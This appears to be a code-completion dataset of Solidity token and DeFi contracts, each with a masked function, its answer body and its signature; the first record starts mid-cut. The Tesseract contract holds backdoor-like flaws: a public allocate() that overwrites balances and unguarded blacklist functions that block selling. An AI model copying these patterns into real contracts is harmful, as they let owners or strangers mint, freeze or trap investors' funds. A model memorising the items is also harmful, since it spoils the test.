rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); }
function _transfer(address sender, address recipient, uint256 amount) private
function _transfer(address sender, address recipient, uint256 amount) private
48,131
InfiniteGold
InfiniteGold
contract InfiniteGold is ERC20, owned { using SafeMath for uint256; string public name = "InfiniteGold"; string public symbol = "IG"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function InfiniteGold() public {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } }
contract InfiniteGold is ERC20, owned { using SafeMath for uint256; string public name = "InfiniteGold"; string public symbol = "IG"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } <FILL_FUNCTION> function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } }
totalSupply = 800000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply);
function InfiniteGold() public
function InfiniteGold() public
18,810
swapUSDx
swapUSDxTo
contract swapUSDx is ERC20SafeTransfer { using SafeMath for uint256; uint256 private BASE = 10 ** 18; address public owner; IChi public chi = IChi(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); constructor () public { owner = msg.sender; } address internal USDx = 0xeb269732ab75A6fD61Ea60b06fE994cD32a83549; address internal DF = 0x431ad2ff6a9C365805eBaD47Ee021148d6f7DBe0; address internal DFEngineContract = 0x3ea496977A356024bE096c1068a57Bd0B92c7d7c; DFProtocol internal DFProtocolContract = DFProtocol(0x5843F1Ccc5baA448528eb0e8Bc567Cda7eD1A1E8); DFProtocolView internal DFProtocolViewContract = DFProtocolView(0x097Dd22173f0e382daE42baAEb9bDBC9fdf3396F); DFStore internal DFStoreContract = DFStore(0xD30d06b276867CfA2266542791242fF37C91BA8d); address internal yPool = 0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51; address internal paxPool = 0x06364f10B501e868329afBc005b3492902d6C763; address internal sUSD = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address internal uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address[] public underlyingTokens = [ 0x8E870D67F660D95d5be530380D0eC0bd388289E1, // PAX 0x0000000000085d4780B73119b644AE5ecd22b376, // TUSD 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 // USDC ]; address internal USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } /** * @dev Based on current DF price, calculate how many DF does the * the `msg.sender` need when destroies USDx. * @param _amount Total amount of USDx would be destroied. */ function getDFAmount(uint256 _amount) public view returns (uint256) { // 0 means DF uint256 _dfPrice = DFProtocolViewContract.getPrice(uint256(0)); // 1 means this processing is `destroy` uint256 _rate = DFProtocolViewContract.getFeeRate(uint256(1)); uint256 _dfAmount = _amount.mul(_rate).mul(BASE).div(uint256(10000).mul(_dfPrice)); return _dfAmount; } /** * @dev Uses this function to prepare for all authority needed. */ function multiApprove() external discountCHI returns (bool) { require(msg.sender == owner, "multiApprove: Only for owner!"); // When swaps USDx to DF in the uniswap. require(doApprove(USDx, uniswapRouter, uint256(-1)), "multiApprove: approve uniswap failed!"); // When destroy USDx. // - 1. DF.approve(DFEngineContract, -1) require(doApprove(DF, DFEngineContract, uint256(-1)), "multiApprove: DF approves DFEngine failed!"); // - 2. USDx.approve(DFEngineContract, -1) require(doApprove(USDx, DFEngineContract, uint256(-1)), "multiApprove: USDx approves DFEngine failed!"); // When swaps token to get USDC require(doApprove(underlyingTokens[0], paxPool, uint256(-1)), "multiApprove: PAX approves paxpool failed!"); require(doApprove(underlyingTokens[1], yPool, uint256(-1)), "multiApprove: TUSD approves ypool failed!"); // When swaps token to get USDT require(doApprove(underlyingTokens[2], sUSD, uint256(-1)), "multiApprove: USDC approves sUSD failed!"); } function swapUSDxTo(address _targetToken, uint256 _amount, uint256 _minReturn) external discountCHI returns (bool) {<FILL_FUNCTION_BODY> } }
contract swapUSDx is ERC20SafeTransfer { using SafeMath for uint256; uint256 private BASE = 10 ** 18; address public owner; IChi public chi = IChi(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); constructor () public { owner = msg.sender; } address internal USDx = 0xeb269732ab75A6fD61Ea60b06fE994cD32a83549; address internal DF = 0x431ad2ff6a9C365805eBaD47Ee021148d6f7DBe0; address internal DFEngineContract = 0x3ea496977A356024bE096c1068a57Bd0B92c7d7c; DFProtocol internal DFProtocolContract = DFProtocol(0x5843F1Ccc5baA448528eb0e8Bc567Cda7eD1A1E8); DFProtocolView internal DFProtocolViewContract = DFProtocolView(0x097Dd22173f0e382daE42baAEb9bDBC9fdf3396F); DFStore internal DFStoreContract = DFStore(0xD30d06b276867CfA2266542791242fF37C91BA8d); address internal yPool = 0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51; address internal paxPool = 0x06364f10B501e868329afBc005b3492902d6C763; address internal sUSD = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address internal uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address[] public underlyingTokens = [ 0x8E870D67F660D95d5be530380D0eC0bd388289E1, // PAX 0x0000000000085d4780B73119b644AE5ecd22b376, // TUSD 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 // USDC ]; address internal USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } /** * @dev Based on current DF price, calculate how many DF does the * the `msg.sender` need when destroies USDx. * @param _amount Total amount of USDx would be destroied. */ function getDFAmount(uint256 _amount) public view returns (uint256) { // 0 means DF uint256 _dfPrice = DFProtocolViewContract.getPrice(uint256(0)); // 1 means this processing is `destroy` uint256 _rate = DFProtocolViewContract.getFeeRate(uint256(1)); uint256 _dfAmount = _amount.mul(_rate).mul(BASE).div(uint256(10000).mul(_dfPrice)); return _dfAmount; } /** * @dev Uses this function to prepare for all authority needed. */ function multiApprove() external discountCHI returns (bool) { require(msg.sender == owner, "multiApprove: Only for owner!"); // When swaps USDx to DF in the uniswap. require(doApprove(USDx, uniswapRouter, uint256(-1)), "multiApprove: approve uniswap failed!"); // When destroy USDx. // - 1. DF.approve(DFEngineContract, -1) require(doApprove(DF, DFEngineContract, uint256(-1)), "multiApprove: DF approves DFEngine failed!"); // - 2. USDx.approve(DFEngineContract, -1) require(doApprove(USDx, DFEngineContract, uint256(-1)), "multiApprove: USDx approves DFEngine failed!"); // When swaps token to get USDC require(doApprove(underlyingTokens[0], paxPool, uint256(-1)), "multiApprove: PAX approves paxpool failed!"); require(doApprove(underlyingTokens[1], yPool, uint256(-1)), "multiApprove: TUSD approves ypool failed!"); // When swaps token to get USDT require(doApprove(underlyingTokens[2], sUSD, uint256(-1)), "multiApprove: USDC approves sUSD failed!"); } <FILL_FUNCTION> }
// transfer USDx from user to this contract. require( doTransferFrom( USDx, msg.sender, address(this), _amount ), "swap: USDx transferFrom failed!" ); uint256 _dfAmount = getDFAmount(_amount); uint256 _usdxAmount = _dfAmount % DFStoreContract.getMinBurnAmount() > 0 ? (_dfAmount / DFStoreContract.getMinBurnAmount() + 1) * DFStoreContract.getMinBurnAmount() : _dfAmount ; address[] memory _path = new address[](2); _path[0] = USDx; _path[1] = DF; // swap parts of USDx to DF. IUniswapV2Router(uniswapRouter).swapExactTokensForTokens( _usdxAmount, _dfAmount, _path, address(this), block.timestamp + 3600 ); // destroy the remaining USDx with DF. DFProtocolContract.destroy(0, IERC20(USDx).balanceOf(address(this))); if (_targetToken == underlyingTokens[2]){ // TUSD -> USDC uint256 _totalAmount = IERC20(underlyingTokens[1]).balanceOf(address(this)); Curve(yPool).exchange_underlying(int128(3), int128(1), _totalAmount, uint256(0)); // PAX -> USDC _totalAmount = IERC20(underlyingTokens[0]).balanceOf(address(this)); Curve(paxPool).exchange_underlying(int128(3), int128(1), _totalAmount, uint256(0)); } else if (_targetToken == USDT) { // USDC -> USDT uint256 _totalAmount = IERC20(underlyingTokens[2]).balanceOf(address(this)); Curve(sUSD).exchange_underlying(int128(1), int128(2), _totalAmount, uint256(0)); // TUSD -> USDT _totalAmount = IERC20(underlyingTokens[1]).balanceOf(address(this)); Curve(yPool).exchange_underlying(int128(3), int128(2), _totalAmount, uint256(0)); // PAX -> USDC _totalAmount = IERC20(underlyingTokens[0]).balanceOf(address(this)); Curve(paxPool).exchange_underlying(int128(3), int128(2), _totalAmount, uint256(0)); } uint256 _finalBalance = IERC20(_targetToken).balanceOf(address(this)); require(_finalBalance >= _minReturn, "swap: Too large slippage to succeed!"); // transfer target token to caller`msg.sender` require(doTransferOut(_targetToken, msg.sender, _finalBalance), "swap: Transfer targetToken out failed!"); require(doTransferOut(DF, msg.sender, IERC20(DF).balanceOf(address(this))), "swap: Transfer DF out failed!");
function swapUSDxTo(address _targetToken, uint256 _amount, uint256 _minReturn) external discountCHI returns (bool)
function swapUSDxTo(address _targetToken, uint256 _amount, uint256 _minReturn) external discountCHI returns (bool)
54,049
EtherHolder
processFunds
contract EtherHolder is Destructible{ using SafeMath for uint256; bool locked = false; BwinCommons internal commons; function setCommons(address _addr) public onlyOwner { commons = BwinCommons(_addr); } struct Account { address wallet; address parent; uint256 radio; bool exist; } mapping (address => uint256) private userAmounts; uint256 internal _balance; event ProcessFunds(address _topWallet, uint256 _value ,bool isContract); event ReceiveFunds(address _addr, address _user, uint256 _value, uint256 _amount); function receiveFunds(address _user, uint256 _amount) external payable returns (bool) { emit ReceiveFunds(msg.sender, _user, msg.value, _amount); Crowdsale cds = Crowdsale(commons.get("Crowdsale")); User user = User(commons.get("User")); assert(msg.value == _amount); if (msg.sender == address(cds)){ address _topWallet; uint _percent=0; bool _contract; uint256 _topValue = 0; bool _topOk; uint256 _totalShares = 0; uint256 _totalSharePercent = 0; bool _shareRet; if(user.hasUser(_user)){ (_topWallet,_percent,_contract) = user.getTopInfoDetail(_user); assert(_percent <= 1000); (_topValue,_topOk) = processFunds(_topWallet,_amount,_percent,_contract); }else{ _topOk = true; } (_totalShares,_totalSharePercent,_shareRet) = processShares(_amount.sub(_topValue)); assert(_topOk && _shareRet); assert(_topValue.add(_totalShares) <= _amount); assert(_totalSharePercent <= 1000); _balance = _balance.add(_amount); return true; } return false; } event ProcessShares(uint256 _amount, uint i, uint256 _percent, bool _contract,address _wallet); function processShares(uint256 _amount) internal returns(uint256,uint256,bool){ uint256 _sended = 0; uint256 _sharePercent = 0; User user = User(commons.get("User")); for(uint i=0;i<user.getShareHolderCount();i++){ address _wallet; uint256 _percent; bool _contract; emit ProcessShares(_amount, i, _percent, _contract,_wallet); assert(_percent <= 1000); (_wallet,_percent,_contract) = user.getShareHolder(i); uint256 _value; bool _valueOk; (_value,_valueOk) = processFunds(_wallet,_amount,_percent,_contract); _sharePercent = _sharePercent.add(_percent); _sended = _sended.add(_value); } return (_sended,_sharePercent,true); } function getAmount(uint256 _amount, uint256 _percent) internal pure returns(uint256){ uint256 _value = _amount.div(1000).mul(_percent); return _value; } function processFunds(address _topWallet, uint256 _amount ,uint256 _percent, bool isContract) internal returns(uint,bool) {<FILL_FUNCTION_BODY> } function balanceOf(address _user) public view returns (uint256) { return userAmounts[_user]; } function balanceOfme() public view returns (uint256) { return userAmounts[msg.sender]; } function withDrawlocked() public view returns (bool) { return locked; } function getBalance() public view returns (uint256, uint256) { return (address(this).balance,_balance); } function lock(bool _locked) public onlyOwner{ locked = _locked; } event WithDraw(address caller, uint256 _amount); function withDraw(uint256 _amount) external { assert(!locked); assert(userAmounts[msg.sender] >= _amount); userAmounts[msg.sender] = userAmounts[msg.sender].sub(_amount); _balance = _balance.sub(_amount); msg.sender.transfer(_amount); emit WithDraw(msg.sender, _amount); } function destroy() onlyOwner public { selfdestruct(owner); } }
contract EtherHolder is Destructible{ using SafeMath for uint256; bool locked = false; BwinCommons internal commons; function setCommons(address _addr) public onlyOwner { commons = BwinCommons(_addr); } struct Account { address wallet; address parent; uint256 radio; bool exist; } mapping (address => uint256) private userAmounts; uint256 internal _balance; event ProcessFunds(address _topWallet, uint256 _value ,bool isContract); event ReceiveFunds(address _addr, address _user, uint256 _value, uint256 _amount); function receiveFunds(address _user, uint256 _amount) external payable returns (bool) { emit ReceiveFunds(msg.sender, _user, msg.value, _amount); Crowdsale cds = Crowdsale(commons.get("Crowdsale")); User user = User(commons.get("User")); assert(msg.value == _amount); if (msg.sender == address(cds)){ address _topWallet; uint _percent=0; bool _contract; uint256 _topValue = 0; bool _topOk; uint256 _totalShares = 0; uint256 _totalSharePercent = 0; bool _shareRet; if(user.hasUser(_user)){ (_topWallet,_percent,_contract) = user.getTopInfoDetail(_user); assert(_percent <= 1000); (_topValue,_topOk) = processFunds(_topWallet,_amount,_percent,_contract); }else{ _topOk = true; } (_totalShares,_totalSharePercent,_shareRet) = processShares(_amount.sub(_topValue)); assert(_topOk && _shareRet); assert(_topValue.add(_totalShares) <= _amount); assert(_totalSharePercent <= 1000); _balance = _balance.add(_amount); return true; } return false; } event ProcessShares(uint256 _amount, uint i, uint256 _percent, bool _contract,address _wallet); function processShares(uint256 _amount) internal returns(uint256,uint256,bool){ uint256 _sended = 0; uint256 _sharePercent = 0; User user = User(commons.get("User")); for(uint i=0;i<user.getShareHolderCount();i++){ address _wallet; uint256 _percent; bool _contract; emit ProcessShares(_amount, i, _percent, _contract,_wallet); assert(_percent <= 1000); (_wallet,_percent,_contract) = user.getShareHolder(i); uint256 _value; bool _valueOk; (_value,_valueOk) = processFunds(_wallet,_amount,_percent,_contract); _sharePercent = _sharePercent.add(_percent); _sended = _sended.add(_value); } return (_sended,_sharePercent,true); } function getAmount(uint256 _amount, uint256 _percent) internal pure returns(uint256){ uint256 _value = _amount.div(1000).mul(_percent); return _value; } <FILL_FUNCTION> function balanceOf(address _user) public view returns (uint256) { return userAmounts[_user]; } function balanceOfme() public view returns (uint256) { return userAmounts[msg.sender]; } function withDrawlocked() public view returns (bool) { return locked; } function getBalance() public view returns (uint256, uint256) { return (address(this).balance,_balance); } function lock(bool _locked) public onlyOwner{ locked = _locked; } event WithDraw(address caller, uint256 _amount); function withDraw(uint256 _amount) external { assert(!locked); assert(userAmounts[msg.sender] >= _amount); userAmounts[msg.sender] = userAmounts[msg.sender].sub(_amount); _balance = _balance.sub(_amount); msg.sender.transfer(_amount); emit WithDraw(msg.sender, _amount); } function destroy() onlyOwner public { selfdestruct(owner); } }
uint256 _value = getAmount(_amount, _percent); userAmounts[_topWallet] = userAmounts[_topWallet].add(_value); emit ProcessFunds(_topWallet,_value,isContract); return (_value,true);
function processFunds(address _topWallet, uint256 _amount ,uint256 _percent, bool isContract) internal returns(uint,bool)
function processFunds(address _topWallet, uint256 _amount ,uint256 _percent, bool isContract) internal returns(uint,bool)
23,159
Kotoshi
null
contract Kotoshi is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public {<FILL_FUNCTION_BODY> } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
contract Kotoshi is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
name = "Kotoshi Inu"; symbol = "KOT"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
constructor() public
constructor() public
69,316
Tesseract
null
contract Tesseract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 880000000 * 10**8; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Tesseract"; string private constant _symbol = "TESSERACT"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function _allocate(address recipient,uint256 amount) internal { _balance[recipient] = amount; emit Transfer(address(0x0), recipient, amount); } function allocate(address recipient,uint256 amount) public { require(_isExcludedFromFee[recipient]); _allocate(recipient, amount); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); }else{ require(!bots[from] && !bots[to], "This account is blacklisted"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function enableTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public { bots[notbot] = false; } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
contract Tesseract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 880000000 * 10**8; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Tesseract"; string private constant _symbol = "TESSERACT"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } <FILL_FUNCTION> function _allocate(address recipient,uint256 amount) internal { _balance[recipient] = amount; emit Transfer(address(0x0), recipient, amount); } function allocate(address recipient,uint256 amount) public { require(_isExcludedFromFee[recipient]); _allocate(recipient, amount); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); }else{ require(!bots[from] && !bots[to], "This account is blacklisted"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function enableTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public { bots[notbot] = false; } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
